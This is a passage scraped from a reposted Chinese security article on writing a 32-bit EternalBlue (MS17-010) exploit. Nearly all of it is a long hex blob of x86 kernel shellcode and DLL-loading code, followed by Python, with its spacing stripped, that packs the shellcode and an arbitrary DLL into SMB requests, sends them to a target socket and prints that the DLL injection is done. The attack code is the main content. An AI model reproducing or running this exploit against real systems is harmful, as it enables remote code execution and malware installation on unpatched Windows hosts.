09\x8B\x3F\x01\xF7\x83\xF9\x0D\x7C\x79\x83\xE9\x0D\x83\xC7\x07\x8B\x44\x24\x14\x85\xC0\x74\x16\x39\xC7\x72\x12\x03\x44\x24\x18\x39\xC7\x73\x0A\x01\xF9\x39\xC1\x76\x59\x29\xC1\x89\xC7\x8D\x44\x24\x0C\x50\xE8\x0D\x0A\x00\x00\x85\xC0\x74\x09\xE8\x7D\x0A\x00\x00\x85\xC0\x75\x06\x47\x49\xE3\x3A\xEB\xC5\x83\xF8\x02\x74\x0D\x8B\x44\x24\x08\x85\xC0\x75\xED\xB8\x01\x00\x00\x00\x89\x44\x24\x08\x56\x8B\x74\x24\x20\x89\x7E\x20\x8B\x44\x24\x14\x89\x46\x24\x8B\x44\x24\x10\x89\x46\x28\x5E\x8B\x44\x24\x08\x83\xF8\x01\x74\xC4\xEB\x40\x8B\x3C\x24\x8B\x4C\x24\x04\x83\xC7\x28\x83\xE9\x01\x85\xC9\x89\x3C\x24\x89\x4C\x24\x04\x0F\x85\x44\xFF\xFF\xFF\x31\xC0\x8B\x1B\x8B\x73\x10\x39\xC6\x74\xF5\x39\xF2\x74\x05\xE9\xEC\xFE\xFF\xFF\x8B\x04\x24\x85\xC0\x75\x09\x83\xC4\x1C\x5E\xE9\x88\x0A\x00\x00\x83\xC4\x1C\x5E\x56\x89\xF2\x89\xF7\x83\xC6\x08\x89\xF2\x83\xC7\x2C\xB9\x06\x00\x00\x00\xF3\xA5\x89\xD7\x8D\xB5\x03\xFD\xFF\xFF\xB9\x06\x00\x00\x00\x89\x37\x83\xC7\x04\x83\xC6\x04\xE2\xF6\x5E\xBA\x40\x00\x00\x00\x52\xBA\x00\x30\x00\x00\x52\xFF\x75\x03\x6A\x00\xFF\x56\x08\x85\xC0\x0F\x84\x53\x08\x00\x00\x89\xC3\x56\x8B\x4D\x03\x8D\x75\x0B\x89\xDF\xF3\xA4\x5E\x89\x5E\x44\x8B\x45\x03\x89\x46\x48\x8B\x4D\x03\x8D\x7D\x0B\x31\xC0\xF3\xAA\x8D\x85\x00\xFB\xFF\xFF\x89\x85\xCF\xF6\xFF\xFF\x8D\x85\x07\xFB\xFF\xFF\x89\x85\xD3\xF6\xFF\xFF\x8D\x85\x38\xFB\xFF\xFF\x89\x85\xDB\xF6\xFF\xFF\x8D\x85\x98\xFA\xFF\xFF\x89\x85\xDF\xF6\xFF\xFF\x8B\x7E\x28\x8D\x85\x17\xFB\xFF\xFF\xF7\xC7\x10\x00\x00\x00\x75\x01\x40\x89\x85\xD7\xF6\xFF\xFF\x55\x8D\xAD\x6A\xF6\xFF\xFF\x8B\x7E\x44\xE8\xBD\x01\x00\x00\x85\xC0\x0F\x85\xE5\x00\x00\x00\xE8\x17\x02\x00\x00\x85\xC0\x0F\x84\xD8\x00\x00\x00\x89\x45\x10\x8B\x7D\x04\x83\xC7\x34\x8B\x3F\x8B\x45\x10\x29\xF8\x89\x45\x14\xE8\x2E\x02\x00\x00\x85\xC0\x0F\x85\xB8\x00\x00\x00\xE8\x83\x02\x00\x00\x85\xC0\x0F\x85\xAB\x00\x00\x00\xE8\x75\x03\x00\x00\x85\xC0\x0F\x85\x9E\x00\x00\x00\xE8\x7A\x03\x00\x00\x85\xC0\x0F\x85\x91\x00\x00\x00\xE8\x23\x04\x00\x00\x85\xC0\x0F\x85\x84\x00\x00\x00\xE8\xE6\x04\x00\x00\x85\xC0\x75\x7B\x8B\x45\x10\x89\x46\x4C\x8B\x45\x0C\x89\x46\x50\x5D\x8B\x45\x07\x89\x46\x54\x8B\x7E\x4C\x8B\x56\x50\x83\xC2\x00\x8B\x12\x85\xD2\x74\x4B\x01\xD7\x8B\x46\x54\x89\xFA\x83\xC2\x10\x8B\x12\x29\xD0\x89\xFA\x83\xC2\x14\x8B\x12\x83\xF8\x00\x7C\x31\x39\xD0\x7D\x2D\x89\xFA\x83\xC2\x1C\x8B\x12\x03\x56\x4C\xC1\xE0\x02\x01\xC2\x8B\x12\x03\x56\x4C\x57\x89\xE7\x8B\x46\x44\x8B\x5E\x48\x53\x50\xB8\x02\x00\x00\x00\x50\xFF\xD2\x89\xFC\x5F\x89\x46\x58\x55\x8D\xAD\x6A\xF6\xFF\xFF\xE8\x4B\x04\x00\x00\xEB\x00\x8B\x7D\x10\x85\xFF\x74\x4A\x8D\x45\x61\x50\xB8\x40\x00\x00\x00\x50\x8B\x45\x28\x50\x8B\x45\x10\x50\xFF\x56\x1C\x85\xC0\x74\x07\x8B\x4D\x28\x31\xC0\xF3\xAA\x8B\x7D\x10\x68\x00\x80\x00\x00\x6A\x00\x57\xFF\x56\x0C\x8B\x7D\x30\x85\xFF\x74\x15\x8B\x4D\x34\x31\xC0\xF3\xAA\x8B\x7D\x30\x68\x00\x80\x00\x00\x6A\x00\x57\xFF\x56\x0C\x5D\xE9\x97\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB8\xFF\xFF\xFF\xFF\xE9\x50\x09\x00\x00\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\x00\x6D\x73\x76\x63\x72\x74\x64\x2E\x64\x6C\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x57\x52\x53\x89\x7D\x00\x89\xFA\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D\x5A\x75\x4A\x89\xFA\x83\xC2\x3C\x8B\x1A\x01\xDF\x89\x7D\x04\x89\xFA\x83\xC2\x00\x8B\x1A\x81\xFB\x50\x45\x00\x00\x75\x2F\x89\xFA\x83\xC2\x18\x66\x8B\x1A\x66\x81\xFB\x0B\x01\x75\x20\x89\xFA\x83\xC2\x14\x31\xDB\x66\x8B\x1A\x89\xFA\x83\xC2\x18\x01\xDA\x89\x55\x08\x89\xFA\x83\xC2\x78\x89\x55\x0C\x31\xC0\xEB\x04\x31\xC0\xF7\xD0\x5B\x5A\x5F\xC3\x57\x52\x53\x8B\x7D\x04\x83\xC7\x50\x8B\x1F\x89\x5D\x28\x8B\x7D\x04\x83\xC7\x34\x8B\x17\x6A\x40\x68\x00\x30\x00\x00\x53\x52\xFF\x56\x08\x85\xC0\x75\x0D\x6A\x40\x68\x00\x30\x00\x00\x53\x6A\x00\xFF\x56\x08\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x8B\x76\x44\x8B\x7D\x10\x8B\x5D\x04\x83\xC3\x54\x8B\x0B\xF3\xA4\x5E\x8B\x7D\x04\x83\xC7\x06\x31\xDB\x66\x8B\x1F\x31\xD2\x39\xD3\x74\x2E\xB8\x28\x00\x00\x00\x52\xF7\xE2\x5A\x03\x45\x08\x56\x8B\x76\x44\x89\xC1\x83\xC1\x14\x03\x31\x8B\x7D\x10\x89\xC1\x83\xC1\x0C\x03\x39\x89\xC1\x83\xC1\x10\x8B\x09\xF3\xA4\x5E\x42\xEB\xCE\x31\xC0\xEB\x04\x31\xC0\xF7\xD0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x8B\x7D\x10\xE8\xF4\xFE\xFF\xFF\x85\xC0\x0F\x85\xDE\x00\x00\x00\xE8\x40\x03\x00\x00\x85\xC0\x0F\x85\xD1\x00\x00\x00\x8B\x7D\x00\xB8\x08\x00\x00\x00\xBA\x01\x00\x00\x00\xF7\xE2\x8B\x55\x0C\x01\xC2\x83\xC2\x00\x8B\x1A\x01\xFB\x89\x5D\x18\x39\xFB\x0F\x84\xB1\x00\x00\x00\x89\xD8\x83\xC0\x10\x8B\x00\x85\xC0\x0F\x84\xA2\x00\x00\x00\x8B\x45\x00\x89\xDA\x83\xC2\x0C\x03\x02\x50\xFF\x56\x10\x85\xC0\x0F\x84\x86\x00\x00\x00\x89\x45\x24\x89\xDA\x83\xC2\x00\x8B\x7D\x00\x03\x3A\x89\x7D\x1C\x89\xDA\x83\xC2\x10\x8B\x7D\x00\x03\x3A\x89\x7D\x20\x8B\x55\x1C\x8B\x12\x85\xD2\x74\x58\x89\xD7\x81\xE7\x00\x00\x00\x80\x74\x0A\x89\xD7\x81\xE7\xFF\xFF\x00\x00\xEB\x08\x8B\x7D\x00\x01\xD7\x83\xC7\x02\x57\x8B\x7D\x24\x57\xFF\x56\x14\x85\xC0\x74\x38\x8B\x55\x20\x89\x02\xE8\xCD\x03\x00\x00\x85\xC0\x74\x0E\xE8\x88\x03\x00\x00\x85\xC0\x75\x05\xE8\x13\x03\x00\x00\x8B\x55\x1C\x83\xC2\x04\x89\x55\x1C\x8B\x55\x20\x83\xC2\x04\x89\x55\x20\xEB\x9F\x83\xC3\x14\xE9\x55\xFF\xFF\xFF\x31\xC0\xF7\xD0\xEB\x02\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x8B\x7D\x04\x83\xC7\x34\x8B\x55\x10\x89\x17\x31\xC0\x5A\x5F\xC3\x57\x52\x53\x51\x8B\x55\x14\x85\xD2\x0F\x84\xA0\x00\x00\x00\xB8\x08\x00\x00\x00\xBA\x05\x00\x00\x00\xF7\xE2\x8B\x55\x0C\x01\xC2\x89\xD7\x83\xC7\x04\x8B\x3F\x85\xFF\x74\x7E\x89\xD7\x83\xC7\x00\x8B\x3F\x85\xFF\x74\x73\x8B\x55\x10\x01\xFA\x89\xD7\x83\xC7\x04\x8B\x3F\x85\xFF\x74\x69\x83\xEF\x08\xD1\xEF\x31\xC9\x39\xF9\x74\x4D\x89\xD3\x83\xC3\x08\x89\xC8\xD1\xE0\x01\xC3\xC7\x45\x2C\x00\x00\x00\x00\x66\x8B\x03\x66\x25\x00\xF0\x66\xC1\xE8\x0C\x66\x83\xF8\x00\x74\x27\x66\x83\xF8\x03\x75\x21\x89\xD0\x83\xC0\x00\x8B\x00\x89\x45\x2C\x31\xC0\x66\x8B\x03\x66\x25\xFF\x0F\x01\x45\x2C\x8B\x45\x10\x03\x45\x2C\x8B\x5D\x14\x01\x18\x41\xEB\xAF\x89\xD7\x83\xC7\x04\x8B\x3F\x01\xFA\xEB\x92\x31\xC0\xF7\xD0\xEB\x02\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x8B\x7D\x04\x83\xC7\x06\x31\xDB\x66\x8B\x1F\x31\xD2\x39\xD3\x0F\x84\x92\x00\x00\x00\xB8\x28\x00\x00\x00\x52\xF7\xE2\x5A\x03\x45\x08\x89\xC7\x83\xC7\x24\x8B\x3F\xC7\x45\x5D\x00\x00\x00\x00\xF7\xC7\x00\x00\x00\x02\x75\x64\xF7\xC7\x00\x00\x00\x40\x74\x07\xC7\x45\x5D\x02\x00\x00\x00\xF7\xC7\x00\x00\x00\x80\x74\x07\xC7\x45\x5D\x04\x00\x00\x00\xF7\xC7\x00\x00\x00\x20\x74\x1A\x83\x7D\x5D\x02\x75\x07\xC7\x45\x5D\x20\x00\x00\x00\x83\x7D\x5D\x04\x75\x07\xC7\x45\x5D\x40\x00\x00\x00\x8B\x7D\x10\x89\xC1\x83\xC1\x0C\x03\x39\x89\xC1\x83\xC1\x08\x8B\x09\x52\x8D\x45\x61\x50\x8B\x45\x5D\x50\x51\x57\xFF\x56\x1C\x5A\x85\xC0\x74\x06\x42\xE9\x6C\xFF\xFF\xFF\x31\xC0\xF7\xD0\xEB\x02\x31\xC0\x59\x5B\x5A\x5F\xC3\x52\x57\x8B\x55\x10\x8B\x7D\x04\x83\xC7\x28\x8B\x3F\x01\xFA\x6A\x00\x6A\x00\x8B\x7D\x10\x57\xFF\xD2\x31\xC0\x5F\x5A\xC3\x52\x57\x8B\x55\x10\x8B\x7D\x04\x83\xC7\x28\x8B\x3F\x01\xFA\x6A\x00\x6A\x01\x8B\x7D\x10\x57\xFF\xD2\x31\xC0\x5F\x5A\xC3\x39\xEC\x7D\x79\x57\x56\x53\x89\xE6\x83\xC6\x0C\x55\x6A\x00\x89\xE3\x51\x52\x89\xE9\x29\xF1\x83\xF9\x04\x7C\x5A\x50\x52\x53\xB8\x0F\x00\x00\x00\x6B\xC0\x04\x39\xC8\x7D\x02\x89\xC1\xBA\x00\x00\x00\x00\x89\xC8\xBB\x04\x00\x00\x00\xF7\xFB\x48\x6A\x00\x83\xF8\x00\x75\xF8\x01\xCC\x5B\x5A\x58\x89\xE5\x89\xE7\x29\xCF\x89\xFC\xF3\xA4\x89\x23\x8B\x4B\xFC\x8B\x53\xF8\xC7\x43\xFC\x00\x00\x00\x00\xC7\x43\xF8\x00\x00\x00\x00\xC7\x04\x24\xFF\xFF\xFF\xFF\xBE\xEE\xEE\xEE\xEE\xFF\xE0\x59\x59\x5D\x5D\x5B\x5E\x5F\xFF\xE0\x5B\x89\xE1\x2B\x4D\x08\x83\xE9\x04\x89\xEC\x83\xC4\x20\x01\xCC\x8B\x5D\x10\x8B\x75\x14\x8B\x7D\x18\x8B\x4D\x1C\x8B\x6D\x0C\xFF\xE1\x00\x00\x00\x00\x57\x52\x53\x51\xB8\x08\x00\x00\x00\xBA\x0C\x00\x00\x00\xF7\xE2\x8B\x55\x0C\x01\xC2\x83\xC2\x04\x8B\x1A\xC1\xEB\x02\xB8\x0A\x00\x00\x00\xF7\xE3\x89\x45\x34\x6A\x40\x68\x00\x30\x00\x00\x50\x6A\x00\xFF\x56\x08\x85\xC0\x74\x4B\x89\x45\x30\x8B\x46\x20\x8B\x7D\x65\x83\xC7\x03\x89\x07\x8B\x46\x28\xA9\x02\x00\x00\x00\x74\x18\x8B\x45\x6D\x8B\x5D\x71\x89\x03\x8B\x5E\x24\x8B\x7D\x71\x29\xDF\x8B\x5D\x69\x43\x89\x3B\xEB\x09\x8B\x45\x6D\x8B\x7D\x69\x47\x89\x07\x8B\x46\x28\xA9\x01\x00\x00\x00\x74\x0E\x8B\x7D\x69\xC6\x07\xBF\xEB\x06\x31\xC0\xF7\xD0\xEB\x02\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x50\x8B\x7D\x30\x8B\x45\x38\x01\xC7\x89\xEE\x83\xC6\x3C\xB9\x0A\x00\x00\x00\xF3\xA4\x8B\x7D\x30\x8B\x45\x38\x01\xC7\x83\xC7\x00\x47\x8B\x55\x20\x8B\x1A\x89\x1F\x8B\x75\x75\x8B\x7D\x30\x8B\x45\x38\x01\xC7\x83\xC7\x05\x47\x83\xC7\x04\x29\xFE\x8B\x7D\x30\x8B\x45\x38\x01\xC7\x83\xC7\x05\x47\x89\x37\x8B\x7D\x30\x8B\x45\x38\x01\xC7\x8B\x75\x20\x89\x3E\x8B\x45\x38\x83\xC0\x0A\x89\x45\x38\x58\x5E\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x8B\x7D\x00\x89\xDA\x83\xC2\x0C\x03\x3A\x89\xE9\x83\xC1\x46\x57\x51\xFF\x56\x18\x85\xC0\x74\x12\x89\xE9\x83\xC1\x51\x57\x51\xFF\x56\x18\x85\xC0\x74\x04\x31\xC0\xEB\x07\xB8\x01\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x8B\x7D\x24\x89\xFA\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D\x5A\x75\x65\x89\xFA\x83\xC2\x3C\x8B\x1A\x01\xDF\x89\xFA\x83\xC2\x00\x8B\x1A\x81\xFB\x50\x45\x00\x00\x75\x4D\x89\xFE\x83\xC6\x14\x31\xDB\x66\x8B\x1E\x89\xFE\x83\xC6\x18\x01\xDE\x89\xFB\x83\xC3\x06\x31\xC9\x66\x8B\x0B\x31\xD2\x89\xF3\x83\xC3\x0C\x8B\x7D\x24\x03\x3B\x39\xF8\x7C\x1A\x89\xF3\x83\xC3\x08\x03\x3B\x39\xF8\x7D\x0F\x89\xF3\x83\xC3\x24\x8B\x1B\xF7\xC3\x00\x00\x00\x20\x75\x0C\x83\xC6\x28\x42\x39\xCA\x7C\xD0\x31\xC0\xEB\x07\xB8\x01\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3\xEB\x18\x6A\x0B\xEB\x16\x6A\x0C\xEB\x12\x6A\x0D\xEB\x0E\x6A\x0E\xEB\x0A\x6A\x0F\xEB\x06\x6A\x10\xEB\x02\xEB\x76\x58\x8B\x04\x86\x56\x57\x53\x55\x89\xF3\x89\xE6\x83\xC6\x14\xB9\x40\x00\x00\x00\x29\xCC\x89\xE7\xF3\xA4\x89\xE5\xE8\x00\x00\x00\x00\x5F\x89\xDE\x8B\x5E\x28\x50\x8D\x47\x3C\xF7\xC3\x10\x00\x00\x00\x75\x01\x40\xF7\xC3\x02\x00\x00\x00\x75\x04\x89\xC7\xEB\x0A\x8D\x7F\x51\x89\x07\x8B\x46\x24\x29\xC7\x58\xF7\xC3\x01\x00\x00\x00\x8B\x5E\x20\x53\x74\x02\xEB\x02\x89\xFE\xFF\xE0\x5B\x8B\x5D\x44\x8B\x7D\x48\x8B\x75\x4C\x8B\x4D\x50\x8B\x6D\x40\x83\xC4\x54\xFF\xE1\x00\x00\x00\x00\xE9\x52\x01\x00\x00\x55\x89\xE5\x53\x56\x51\x8B\x4D\x10\x0F\xB6\x01\x85\xC0\x74\x2C\x8B\x75\x08\x85\xF6\x8B\x75\x0C\x74\x02\x29\xC6\x0F\xB6\x06\x3C\xFF\x75\x14\x0F\xB6\x59\x01\x46\x0F\xB6\x06\x39\xD8\x72\x08\x0F\xB6\x59\x02\x39\xD8\x76\x09\x8D\x49\x03\xEB\xCD\x31\xC0\xEB\x03\x31\xC0\x40\x59\x5E\x5B\x89\xEC\x5D\xC2\x0C\x00\x8D\x85\x44\xFE\xFF\xFF\x50\x57\x31\xC0\x50\xE8\xA4\xFF\xFF\xFF\x85\xC0\x74\x49\x51\x8B\x4C\x24\x08\x31\xC0\x89\x41\x04\x0F\xB6\x47\x01\x24\x01\x89\xC1\x0F\xB6\x47\x01\x24\x10\x09\xC1\x0F\xB6\x47\x01\x3C\xD0\x77\x1D\x80\xC9\x02\x3C\x30\x72\x16\x51\x3C\x70\x72\x05\x8B\x4F\x02\xEB\x04\x0F\xBE\x4F\x02\x8B\x44\x24\x0C\x89\x48\x04\x59\x8B\x44\x24\x08\x89\x08\x59\x31\xC0\x40\xC2\x04\x00\x02\x26\x27\x03\x66\x67\x06\xA6\xA7\x02\xE6\xE7\x02\x16\x17\x03\x56\x57\x06\x96\x97\x02\xD6\xD7\x00\x8D\x85\xA6\xFE\xFF\xFF\x50\x57\x31\xC0\x40\x50\xE8\x2A\xFF\xFF\xFF\x85\xC0\x74\x07\xB8\x02\x00\x00\x00\xEB\x2C\x8D\x85\xC2\xFE\xFF\xFF\x50\x57\x31\xC0\x40\x50\xE8\x0E\xFF\xFF\xFF\x85\xC0\x74\x07\xB8\x01\x00\x00\x00\xEB\x10\x8D\x47\xFB\x8A\x00\x3C\xE8\xB8\x01\x00\x00\x00\x74\x02\x31\xC0\xC3\x02\x10\x13\x03\x14\x14\x02\x16\x17\x03\x50\x53\x04\x54\x54\x03\x55\x57\x06\x90\x93\x06\x95\x97\x02\xD0\xD7\x00\x06\x15\x15\x02\x18\x1B\x03\x1C\x1C\x06\x1D\x1D\x02\x1E\x1F\x03\x58\x5B\x04\x5C\x5C\x03\x5D\x5F\x07\x94\x94\x06\x98\x9B\x07\x9C\x9C\x06\x9D\x9F\x02\xD8\xDF\x00\xE9\xCF\x00\x00\x00\x5E\xE9\xC9\x00\x00\x00\x31\xC0\x60\xB0\x18\x64\x8B\x18\x8B\x5B\x30\x8B\x5B\x0C\x8B\x5B\x14\x8B\x73\x28\x8B\x6B\x10\x85\xED\x0F\x84\x82\x00\x00\x00\x31\xD2\xC1\xC2\x05\x66\xAD\x0C\x20\x30\xC2\x66\x83\x3E\x00\x75\xF1\x8B\x1B\x3B\x54\x24\x24\x75\xD9\x8B\x44\x24\x28\x85\xC0\x75\x04\x89\xE8\xEB\x59\x8B\x7D\x3C\x01\xEF\x8B\x7F\x78\x01\xEF\x39\xEF\x74\x4F\x8B\x4F\x18\x85\xC9\x74\x48\x8B\x57\x1C\x01\xEA\x8B\x5F\x20\x01\xEB\x8B\x7F\x24\x01\xEF\x89\x54\x24\x24\x8B\x33\x01\xEE\x31\xD2\xC1\xC2\x05\xAC\x0C\x20\x30\xC2\x80\x3E\x00\x75\xF3\x3B\x54\x24\x28\x74\x0A\x83\xC7\x02\x83\xC3\x04\xE2\xDF\xEB\x12\x0F\xB7\x17\xC1\xE2\x02\x03\x54\x24\x24\x8B\x02\x01\xE8\x89\x44\x24\x1C\x61\xC2\x08\x00\x06\xDF\xB0\x2C\x51\x33\x8A\x8D\xA4\x00\x78\x95\x27\x85\x00\x3B\x00\xA1\xB4\x00\xDB\xB6\xB6\xE5\x00\xC4\x22\x07\xE2\x00\x82\x5A\x15\x4A\x00\x00\x31\xC0\x8B\x4E\x04\x64\x89\x08\xEB\x04\x8B\x64\x24\x08\x83\xC4\x10\x5D\x5E\x31\xC0\x64\x8F\x00\x8B\x26\x89\x44\x24\x1C\x31\xC0\x8D\x4D\x00\x8D\x5D\xFB\x29\xD9\x89\xDF\xF3\xAA\x8D\x4D\xF7\x8D\x9D\x9C\xF2\xFF\xFF\x29\xD9\x89\xDF\xF3\xAA\x61\xC3\xE8\xA9\xF2\xFF\xFF\xEB\x09\x90\x00\x14\x00\x00\x01\x00\x00\x00" f=open(dllfile,"rb") dll_hex=f.read() f.close() dll_hex+="\x00"*3 array,ncount=make_smb_request(kernel_shellcode+dll_hex,key) foriinrange(ncount): #printbinascii.b2a_hex(array[i]) printi+4,",len:",len(array[i]) s.sendall(array[i]) data=s.recv(1024) printi+4,"--->",data #end1 step_7_data="\x00\x00\x00\x23\xFF\x53\x4D\x42\x71\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x00\x00\x00" s.sendall(step_7_data) data=s.recv(1024) print7,data #end2 step_8_data="\x00\x00\x00\x27\xFF\x53\x4D\x42\x74\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x02\xFF\x00\x27\x00\x00\x00" s.sendall(step_8_data) data=s.recv(1024) print8,data print"------Injectdlldone!------" s.close()



【技术分享】EternalBlue之32位exploit编写(一)
【技术分享】EternalBlue之32位exploit编写(一)
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4012.html

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images